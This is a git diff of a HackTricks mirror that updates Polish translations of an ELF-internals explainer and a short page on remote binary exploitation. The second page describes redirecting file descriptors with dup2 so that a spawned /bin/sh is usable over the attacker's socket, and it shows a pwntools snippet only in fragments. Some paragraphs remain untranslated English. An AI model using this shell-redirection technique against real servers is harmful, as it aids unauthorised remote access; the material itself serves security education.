mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo
This commit is contained in:
parent
50c79cd279
commit
6c3d6d5b86
142 changed files with 8273 additions and 9590 deletions
|
@ -1,18 +1,21 @@
|
|||
# Informacje podstawowe o ELF
|
||||
# ELF Podstawowe Informacje
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Nagłówki programu
|
||||
## Nagłówki Programu
|
||||
|
||||
Opisują loaderowi, jak załadować **ELF** do pamięci:
|
||||
```bash
|
||||
|
@ -47,54 +50,54 @@ Segment Sections...
|
|||
07
|
||||
08 .init_array .fini_array .dynamic .got
|
||||
```
|
||||
Poprzedni program ma **9 nagłówków programu**, następnie **mapowanie segmentów** wskazuje, w którym nagłówku programu (od 00 do 08) **znajduje się każda sekcja**.
|
||||
The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
|
||||
|
||||
### PHDR - Nagłówek programu
|
||||
### PHDR - Program HeaDeR
|
||||
|
||||
Zawiera tabele nagłówków programów oraz same metadane.
|
||||
Zawiera tabele nagłówków programu i same metadane.
|
||||
|
||||
### INTERP
|
||||
|
||||
Wskazuje ścieżkę do ładowacza, który ma być użyty do załadowania binarnego pliku do pamięci.
|
||||
Wskazuje ścieżkę do loadera, który ma być użyty do załadowania binarnego do pamięci.
|
||||
|
||||
### LOAD
|
||||
|
||||
Te nagłówki służą do wskazania, **jak załadować binarny plik do pamięci**.\
|
||||
Każdy nagłówek **LOAD** wskazuje obszar **pamięci** (rozmiar, uprawnienia i wyrównanie) oraz wskazuje bajty ELF **do skopiowania tam**.
|
||||
Te nagłówki są używane do wskazania **jak załadować binarny do pamięci.**\
|
||||
Każdy **LOAD** nagłówek wskazuje obszar **pamięci** (rozmiar, uprawnienia i wyrównanie) i wskazuje bajty ELF **binarnego do skopiowania tam**.
|
||||
|
||||
Na przykład, drugi ma rozmiar 0x1190, powinien znajdować się pod adresem 0x1fc48 z uprawnieniami do odczytu i zapisu oraz zostanie wypełniony wartościami 0x528 od przesunięcia 0xfc48 (nie wypełnia całej zarezerwowanej przestrzeni). Ta pamięć będzie zawierać sekcje `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
Na przykład, drugi ma rozmiar 0x1190, powinien być zlokalizowany na 0x1fc48 z uprawnieniami do odczytu i zapisu i będzie wypełniony 0x528 z offsetu 0xfc48 (nie wypełnia całej zarezerwowanej przestrzeni). Ta pamięć będzie zawierać sekcje `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
|
||||
### DYNAMIC
|
||||
|
||||
Ten nagłówek pomaga łączyć programy z ich zależnościami bibliotecznymi i stosować relokacje. Sprawdź sekcję **`.dynamic`**.
|
||||
Ten nagłówek pomaga w łączeniu programów z ich zależnościami bibliotecznymi i stosowaniu relokacji. Sprawdź sekcję **`.dynamic`**.
|
||||
|
||||
### NOTE
|
||||
|
||||
Przechowuje informacje metadanych dostawcy o binarnym pliku.
|
||||
Przechowuje informacje metadanych dostawcy o binarnym.
|
||||
|
||||
### GNU\_EH\_FRAME
|
||||
|
||||
Definiuje lokalizację tabel odwijania stosu, używanych przez debuggery i funkcje obsługi wyjątków C++.
|
||||
Definiuje lokalizację tabel unwind stosu, używanych przez debugery i funkcje obsługi wyjątków C++.
|
||||
|
||||
### GNU\_STACK
|
||||
|
||||
Zawiera konfigurację obrony przed wykonywaniem kodu ze stosu. Jeśli jest włączone, binarny plik nie będzie mógł wykonywać kodu ze stosu.
|
||||
Zawiera konfigurację obrony przed wykonywaniem kodu ze stosu. Jeśli jest włączona, binarny nie będzie mógł wykonywać kodu ze stosu.
|
||||
|
||||
### GNU\_RELRO
|
||||
|
||||
Wskazuje konfigurację RELRO (Relocation Read-Only) binarnego pliku. Ta ochrona oznacza jako tylko do odczytu pewne sekcje pamięci (takie jak `GOT` lub tabele `init` i `fini`) po załadowaniu programu i przed jego uruchomieniem.
|
||||
Wskazuje konfigurację RELRO (Relocation Read-Only) binarnego. Ta ochrona oznaczy jako tylko do odczytu niektóre sekcje pamięci (jak `GOT` lub tabele `init` i `fini`) po załadowaniu programu i przed rozpoczęciem jego działania.
|
||||
|
||||
W poprzednim przykładzie kopiowano 0x3b8 bajtów do 0x1fc48 jako tylko do odczytu, wpływając na sekcje `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
W poprzednim przykładzie kopiuje 0x3b8 bajtów do 0x1fc48 jako tylko do odczytu, wpływając na sekcje `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
|
||||
Należy zauważyć, że RELRO może być częściowy lub pełny, wersja częściowa nie chroni sekcji **`.plt.got`**, która jest używana do **opóźnionego wiązania** i wymaga, aby ta przestrzeń pamięci miała **uprawnienia do zapisu**, aby zapisać adresy bibliotek za pierwszym razem, gdy ich lokalizacja jest wyszukiwana.
|
||||
Zauważ, że RELRO może być częściowy lub pełny, wersja częściowa nie chroni sekcji **`.plt.got`**, która jest używana do **leniwego wiązania** i potrzebuje tej przestrzeni pamięci, aby mieć **uprawnienia do zapisu** do zapisania adresu bibliotek przy pierwszym wyszukiwaniu ich lokalizacji.
|
||||
|
||||
### TLS
|
||||
|
||||
Definiuje tabelę wpisów TLS, która przechowuje informacje o zmiennych lokalnych wątku.
|
||||
Definiuje tabelę wpisów TLS, która przechowuje informacje o zmiennych lokalnych wątków.
|
||||
|
||||
## Nagłówki sekcji
|
||||
## Section Headers
|
||||
|
||||
Nagłówki sekcji dają bardziej szczegółowy widok binarnego pliku ELF.
|
||||
Nagłówki sekcji dają bardziej szczegółowy widok na binarny ELF.
|
||||
```
|
||||
objdump lnstat -h
|
||||
|
||||
|
@ -155,24 +158,26 @@ CONTENTS, READONLY
|
|||
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
|
||||
CONTENTS, READONLY
|
||||
```
|
||||
### Sekcje metadanych
|
||||
It also indicates the location, offset, permissions but also the **type of data** it section has.
|
||||
|
||||
* **Tabela ciągów**: Zawiera wszystkie ciągi potrzebne przez plik ELF (ale nie te, które faktycznie są używane przez program). Na przykład zawiera nazwy sekcji takie jak `.text` lub `.data`. Jeśli `.text` znajduje się na przesunięciu 45 w tabeli ciągów, użyje liczby **45** w polu **nazwa**.
|
||||
### Meta Sections
|
||||
|
||||
* **String table**: Zawiera wszystkie ciągi potrzebne przez plik ELF (ale nie te, które są faktycznie używane przez program). Na przykład zawiera nazwy sekcji takie jak `.text` lub `.data`. A jeśli `.text` znajduje się na przesunięciu 45 w tabeli ciągów, użyje liczby **45** w polu **name**.
|
||||
* Aby znaleźć, gdzie znajduje się tabela ciągów, ELF zawiera wskaźnik do tabeli ciągów.
|
||||
* **Tabela symboli**: Zawiera informacje o symbolach, takie jak nazwa (przesunięcie w tabeli ciągów), adres, rozmiar i więcej metadanych o symbolu.
|
||||
* **Symbol table**: Zawiera informacje o symbolach, takie jak nazwa (przesunięcie w tabeli ciągów), adres, rozmiar i inne metadane dotyczące symbolu.
|
||||
|
||||
### Główne sekcje
|
||||
### Main Sections
|
||||
|
||||
* **`.text`**: Instrukcje programu do wykonania.
|
||||
* **`.data`**: Globalne zmienne zdefiniowane wartością w programie.
|
||||
* **`.bss`**: Globalne zmienne pozostawione niezainicjowane (lub zainicjowane na zero). Zmienne tutaj są automatycznie inicjowane na zero, co zapobiega dodawaniu niepotrzebnych zer do pliku binarnego.
|
||||
* **`.rodata`**: Stałe globalne zmienne (sekcja tylko do odczytu).
|
||||
* **`.tdata`** i **`.tbss`**: Podobne do .data i .bss, gdy używane są zmienne lokalne wątku (`__thread_local` w C++ lub `__thread` w).
|
||||
* **`.dynamic`**: Patrz poniżej.
|
||||
* **`.text`**: Instrukcja programu do uruchomienia.
|
||||
* **`.data`**: Zmienne globalne z określoną wartością w programie.
|
||||
* **`.bss`**: Zmienne globalne pozostawione niezainicjowane (lub zainicjowane na zero). Zmienne tutaj są automatycznie inicjowane na zero, co zapobiega dodawaniu zbędnych zer do binarnego.
|
||||
* **`.rodata`**: Stałe zmienne globalne (sekcja tylko do odczytu).
|
||||
* **`.tdata`** i **`.tbss`**: Podobnie jak .data i .bss, gdy używane są zmienne lokalne dla wątków (`__thread_local` w C++ lub `__thread` w C).
|
||||
* **`.dynamic`**: Zobacz poniżej.
|
||||
|
||||
## Symbole
|
||||
## Symbols
|
||||
|
||||
Symbole to nazwane lokalizacje w programie, które mogą być funkcją, globalnym obiektem danych, zmiennymi lokalnymi wątku...
|
||||
Symbols to nazwane miejsce w programie, które może być funkcją, globalnym obiektem danych, zmiennymi lokalnymi dla wątków...
|
||||
```
|
||||
readelf -s lnstat
|
||||
|
||||
|
@ -195,12 +200,12 @@ Num: Value Size Type Bind Vis Ndx Name
|
|||
```
|
||||
Każdy wpis symbolu zawiera:
|
||||
|
||||
- **Nazwę**
|
||||
- Atrybuty wiązania (słabe, lokalne lub globalne): Symbol lokalny może być dostępny tylko przez program, podczas gdy symbole globalne są udostępniane poza programem. Obiekt słaby to na przykład funkcja, która może zostać zastąpiona inną.
|
||||
- **Typ**: NOTYPE (brak określonego typu), OBJECT (zmienna globalna), FUNC (funkcja), SECTION (sekcja), FILE (plik źródłowy dla debuggerów), TLS (zmienna lokalna wątku), GNU_IFUNC (funkcja pośrednia do relokacji)
|
||||
- Indeks **sekcji**, w której się znajduje
|
||||
- **Wartość** (adres w pamięci)
|
||||
- **Rozmiar**
|
||||
* **Nazwa**
|
||||
* **Atrybuty powiązania** (słaby, lokalny lub globalny): Lokalny symbol może być dostępny tylko przez sam program, podczas gdy symbole globalne są udostępniane poza programem. Słaby obiekt to na przykład funkcja, która może być nadpisana przez inną.
|
||||
* **Typ**: NOTYPE (typ nieokreślony), OBJECT (globalna zmienna danych), FUNC (funkcja), SECTION (sekcja), FILE (plik źródłowy dla debuggerów), TLS (zmienna lokalna dla wątku), GNU\_IFUNC (funkcja pośrednia do relokacji)
|
||||
* **Indeks sekcji**, w której się znajduje
|
||||
* **Wartość** (adres w pamięci)
|
||||
* **Rozmiar**
|
||||
|
||||
## Sekcja dynamiczna
|
||||
```
|
||||
|
@ -237,11 +242,11 @@ Tag Type Name/Value
|
|||
0x000000006ffffff9 (RELACOUNT) 15
|
||||
0x0000000000000000 (NULL) 0x0
|
||||
```
|
||||
Katalog NEEDED wskazuje, że program **musi załadować wymienioną bibliotekę**, aby kontynuować. Katalog NEEDED zostaje uzupełniony, gdy współdzielona **biblioteka jest w pełni operacyjna i gotowa** do użycia.
|
||||
Katalog NEEDED wskazuje, że program **musi załadować wspomnianą bibliotekę**, aby kontynuować. Katalog NEEDED jest uzupełniany, gdy wspólna **biblioteka jest w pełni operacyjna i gotowa** do użycia.
|
||||
|
||||
## Przesunięcia
|
||||
## Relokacje
|
||||
|
||||
Ładowacz musi również przesunąć zależności po ich załadowaniu. Te przesunięcia są wskazane w tabeli przesunięć w formatach REL lub RELA, a liczba przesunięć jest podana w sekcjach dynamicznych RELSZ lub RELASZ.
|
||||
Loader musi również relokować zależności po ich załadowaniu. Te relokacje są wskazane w tabeli relokacji w formatach REL lub RELA, a liczba relokacji jest podana w sekcjach dynamicznych RELSZ lub RELASZ.
|
||||
```
|
||||
readelf -r lnstat
|
||||
|
||||
|
@ -307,7 +312,6 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
|||
00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0
|
||||
00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0
|
||||
00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0
|
||||
```plaintext
|
||||
00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0
|
||||
00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0
|
||||
00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0
|
||||
|
@ -315,25 +319,25 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
|||
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
|
||||
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
|
||||
```
|
||||
### Statyczne przemieszczenia
|
||||
### Statyczne Relokacje
|
||||
|
||||
Jeśli **program jest załadowany w innym miejscu** niż preferowany adres (zwykle 0x400000) z powodu zajęcia adresu lub z powodu **ASLR** lub z jakiegokolwiek innego powodu, statyczne przemieszczenie **poprawia wskaźniki**, które miały wartości oczekujące, że binarny plik zostanie załadowany w preferowanym adresie.
|
||||
Jeśli **program jest ładowany w innym miejscu** niż preferowany adres (zwykle 0x400000), ponieważ adres jest już używany lub z powodu **ASLR** lub innego powodu, statyczna relokacja **poprawia wskaźniki**, które miały wartości oczekujące, że binarka zostanie załadowana w preferowanym adresie.
|
||||
|
||||
Na przykład dowolna sekcja typu `R_AARCH64_RELATIV` powinna zmienić adres w przemieszczeniu plus wartość dodawaną.
|
||||
Na przykład każda sekcja typu `R_AARCH64_RELATIV` powinna mieć zmodyfikowany adres o wartość przesunięcia relokacji plus wartość dodaną.
|
||||
|
||||
### Dynamiczne przemieszczenia i GOT
|
||||
### Dynamiczne Relokacje i GOT
|
||||
|
||||
Przemieszczenie może również odnosić się do zewnętrznego symbolu (jak funkcja zależności). Na przykład funkcja malloc z libC. Wtedy, ładowacz podczas ładowania libC pod adresem sprawdzającym, gdzie jest załadowana funkcja malloc, zapisze ten adres w tabeli GOT (Global Offset Table) (wskazanej w tabeli przemieszczeń), gdzie powinien być określony adres malloc.
|
||||
Relokacja może również odnosić się do symbolu zewnętrznego (jak funkcja z zależności). Na przykład funkcja malloc z libC. Wtedy, loader, ładowując libC w adresie, sprawdza, gdzie funkcja malloc jest załadowana, i zapisuje ten adres w tabeli GOT (Global Offset Table) (wskazanej w tabeli relokacji), gdzie powinien być określony adres malloc.
|
||||
|
||||
### Tabela łączenia procedur
|
||||
### Tabela Łączenia Procedur
|
||||
|
||||
Sekcja PLT pozwala na leniwe wiązanie, co oznacza, że rozwiązanie lokalizacji funkcji będzie wykonywane za pierwszym razem, gdy zostanie ona użyta.
|
||||
Sekcja PLT pozwala na leniwe wiązanie, co oznacza, że rozwiązywanie lokalizacji funkcji będzie wykonywane za pierwszym razem, gdy zostanie ona wywołana.
|
||||
|
||||
Więc gdy program wywołuje malloc, faktycznie wywołuje odpowiadającą lokalizację `malloc` w PLT (`malloc@plt`). Za pierwszym razem, gdy jest wywoływana, rozwiązywany jest adres `malloc` i przechowywany, więc następnym razem, gdy jest wywoływana malloc, zamiast kodu PLT używany jest ten adres.
|
||||
Więc gdy program wywołuje malloc, tak naprawdę wywołuje odpowiednią lokalizację `malloc` w PLT (`malloc@plt`). Przy pierwszym wywołaniu rozwiązuje adres `malloc` i przechowuje go, więc następnym razem, gdy `malloc` jest wywoływane, ten adres jest używany zamiast kodu PLT.
|
||||
|
||||
## Inicjalizacja programu
|
||||
## Inicjalizacja Programu
|
||||
|
||||
Po załadowaniu programu nadszedł czas na jego uruchomienie. Jednak pierwszy kod, który jest uruchamiany, **nie zawsze jest funkcją `main`**. Jest to dlatego, że na przykład w C++ jeśli **zmienna globalna jest obiektem klasy**, ten obiekt musi być **zainicjowany** **przed** uruchomieniem funkcji main, jak w:
|
||||
Po załadowaniu programu nadszedł czas, aby go uruchomić. Jednak pierwszy kod, który jest uruchamiany, **nie zawsze jest funkcją `main`**. Dzieje się tak, ponieważ na przykład w C++, jeśli **zmienna globalna jest obiektem klasy**, ten obiekt musi być **zainicjowany** **przed** uruchomieniem main, jak w:
|
||||
```cpp
|
||||
#include <stdio.h>
|
||||
// g++ autoinit.cpp -o autoinit
|
||||
|
@ -354,36 +358,51 @@ printf("Main\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Zauważ, że te zmienne globalne znajdują się w `.data` lub `.bss`, ale w listach `__CTOR_LIST__` i `__DTOR_LIST__` obiekty do zainicjowania i zniszczenia są przechowywane w celu śledzenia ich.
|
||||
Zauważ, że te zmienne globalne znajdują się w `.data` lub `.bss`, ale w listach `__CTOR_LIST__` i `__DTOR_LIST__` obiekty do zainicjowania i zniszczenia są przechowywane w celu ich śledzenia.
|
||||
|
||||
Z kodu C można uzyskać ten sam wynik, korzystając z rozszerzeń GNU:
|
||||
Z kodu C można uzyskać ten sam wynik, używając rozszerzeń GNU:
|
||||
```c
|
||||
__attributte__((constructor)) //Add a constructor to execute before
|
||||
__attributte__((destructor)) //Add to the destructor list
|
||||
```
|
||||
Z perspektywy kompilatora, aby wykonać te czynności przed i po wykonaniu funkcji `main`, można utworzyć funkcję `init` i funkcję `fini`, które będą odwoływane w sekcji dynamicznej jako **`INIT`** i **`FIN`** oraz umieszczone w sekcjach `init` i `fini` pliku ELF.
|
||||
Z perspektywy kompilatora, aby wykonać te działania przed i po wykonaniu funkcji `main`, można stworzyć funkcję `init` i funkcję `fini`, które będą odniesione w sekcji dynamicznej jako **`INIT`** i **`FIN`**. i są umieszczone w sekcjach `init` i `fini` ELF.
|
||||
|
||||
Inną opcją, jak wspomniano, jest odwołanie do list **`__CTOR_LIST__`** i **`__DTOR_LIST__** w wpisach **`INIT_ARRAY`** i **`FINI_ARRAY`** sekcji dynamicznej, a ich długość jest określana przez **`INIT_ARRAYSZ`** i **`FINI_ARRAYSZ`**. Każdy wpis to wskaźnik funkcji, który zostanie wywołany bez argumentów.
|
||||
Inną opcją, jak wspomniano, jest odniesienie do list **`__CTOR_LIST__`** i **`__DTOR_LIST__`** w wpisach **`INIT_ARRAY`** i **`FINI_ARRAY`** w sekcji dynamicznej, a długość tych list jest wskazywana przez **`INIT_ARRAYSZ`** i **`FINI_ARRAYSZ`**. Każdy wpis to wskaźnik do funkcji, która będzie wywoływana bez argumentów.
|
||||
|
||||
Dodatkowo możliwe jest posiadanie **`PREINIT_ARRAY`** z **wskaźnikami**, które zostaną wykonane **przed** wskaźnikami **`INIT_ARRAY`**.
|
||||
Ponadto, możliwe jest również posiadanie **`PREINIT_ARRAY`** z **wskaźnikami**, które będą wykonywane **przed** wskaźnikami **`INIT_ARRAY`**.
|
||||
|
||||
### Kolejność Inicjalizacji
|
||||
### Kolejność inicjalizacji
|
||||
|
||||
1. Program jest ładowany do pamięci, statyczne zmienne globalne są inicjalizowane w sekcji **`.data`**, a niezainicjowane zerowane w sekcji **`.bss`**.
|
||||
2. Wszystkie **zależności** programu lub bibliotek są **inicjalizowane**, a następnie wykonywane jest **dynamiczne łączenie**.
|
||||
3. Wykonywane są funkcje **`PREINIT_ARRAY`**.
|
||||
4. Wykonywane są funkcje **`INIT_ARRAY`**.
|
||||
5. Jeśli istnieje wpis **`INIT`**, zostaje on wywołany.
|
||||
6. Jeśli to biblioteka, dlopen kończy działanie tutaj, jeśli to program, nadszedł czas na wywołanie **prawdziwego punktu wejścia** (`main`).
|
||||
1. Program jest ładowany do pamięci, statyczne zmienne globalne są inicjalizowane w **`.data`** a niezainicjalizowane są zerowane w **`.bss`**.
|
||||
2. Wszystkie **zależności** dla programu lub bibliotek są **inicjalizowane** i wykonywane jest **dynamiczne linkowanie**.
|
||||
3. Funkcje **`PREINIT_ARRAY`** są wykonywane.
|
||||
4. Funkcje **`INIT_ARRAY`** są wykonywane.
|
||||
5. Jeśli istnieje wpis **`INIT`**, jest wywoływany.
|
||||
6. Jeśli jest to biblioteka, dlopen kończy się tutaj, jeśli program, nadszedł czas na wywołanie **rzeczywistego punktu wejścia** (funkcja `main`).
|
||||
|
||||
## Pamięć Lokalna Wątku (TLS)
|
||||
## Pamięć lokalna dla wątków (TLS)
|
||||
|
||||
Są one definiowane za pomocą słowa kluczowego **`__thread_local`** w C++ lub rozszerzenia GNU **`__thread`**.
|
||||
Są definiowane za pomocą słowa kluczowego **`__thread_local`** w C++ lub rozszerzenia GNU **`__thread`**.
|
||||
|
||||
Każdy wątek będzie utrzymywał unikalne miejsce dla tej zmiennej, dzięki czemu tylko wątek może uzyskać dostęp do swojej zmiennej.
|
||||
Każdy wątek będzie utrzymywał unikalną lokalizację dla tej zmiennej, więc tylko wątek może uzyskać dostęp do swojej zmiennej.
|
||||
|
||||
Gdy jest to używane, sekcje **`.tdata`** i **`.tbss`** są używane w pliku ELF. Są to odpowiedniki `.data` (zainicjowane) i `.bss` (niezainicjowane), ale dla TLS.
|
||||
Gdy to jest używane, sekcje **`.tdata`** i **`.tbss`** są używane w ELF. Które są podobne do `.data` (zainicjalizowane) i `.bss` (niezainicjalizowane), ale dla TLS.
|
||||
|
||||
Każda zmienna ma wpis w nagłówku TLS określający rozmiar i przesunięcie TLS, czyli przesunięcie, które będzie używane w obszarze danych lokalnych wątku.
|
||||
Każda zmienna będzie miała wpis w nagłówku TLS określający rozmiar i offset TLS, który jest offsetem, który będzie używany w lokalnym obszarze danych wątku.
|
||||
|
||||
`__TLS_MODULE_BASE` to symbol używany do odwołania do bazowego adresu pamięci lokalnej wątku i wskazuje na obszar w pamięci zawierający wszystkie dane lokalne wątku modułu.
|
||||
Symbol `__TLS_MODULE_BASE` jest używany do odniesienia się do adresu bazowego pamięci lokalnej wątku i wskazuje na obszar w pamięci, który zawiera wszystkie dane lokalne wątku modułu.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,27 @@
|
|||
# Powszechne Problemy Wykorzystywania
|
||||
# Common Exploiting Problems
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem w hakowaniu AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## FDs w Eksploatacji Zdalnej
|
||||
## FDs w Zdalnym Wykorzystaniu
|
||||
|
||||
Podczas wysyłania exploitu do zdalnego serwera, który wywołuje **`system('/bin/sh')`** na przykład, ta operacja zostanie wykonana w procesie serwera, a `/bin/sh` będzie oczekiwać danych wejściowych z stdin (FD: `0`) oraz będzie drukować wyniki w stdout i stderr (FDs `1` i `2`). W związku z tym atakujący nie będzie mógł interaktywnie korzystać z powłoki.
|
||||
Kiedy wysyłasz exploit do zdalnego serwera, który wywołuje **`system('/bin/sh')`**, na przykład, zostanie to wykonane w procesie serwera, a `/bin/sh` będzie oczekiwał na dane wejściowe z stdin (FD: `0`) i będzie drukował wyjście w stdout i stderr (FDs `1` i `2`). Tak więc atakujący nie będzie mógł interagować z powłoką.
|
||||
|
||||
Sposobem na rozwiązanie tego problemu jest założenie, że gdy serwer został uruchomiony, utworzył **numer FD `3`** (do nasłuchiwania), a następnie Twoje połączenie będzie w **numerze FD `4`**. Dlatego możliwe jest użycie wywołania systemowego **`dup2`** do zduplikowania stdin (FD 0) i stdout (FD 1) w FD 4 (tego, który jest połączony z atakującym), co umożliwi nawiązanie kontaktu z powłoką po jej wykonaniu.
|
||||
Sposobem na naprawienie tego jest założenie, że kiedy serwer się uruchomił, utworzył **FD numer `3`** (do nasłuchiwania) i że następnie, twoje połączenie będzie w **FD numer `4`**. Dlatego możliwe jest użycie syscall **`dup2`**, aby zduplikować stdin (FD 0) i stdout (FD 1) w FD 4 (tym od połączenia atakującego), co umożliwi kontakt z powłoką, gdy zostanie ona wykonana.
|
||||
|
||||
[**Przykład exploitu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
|
||||
[**Przykład exploita stąd**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -37,8 +40,23 @@ p.interactive()
|
|||
```
|
||||
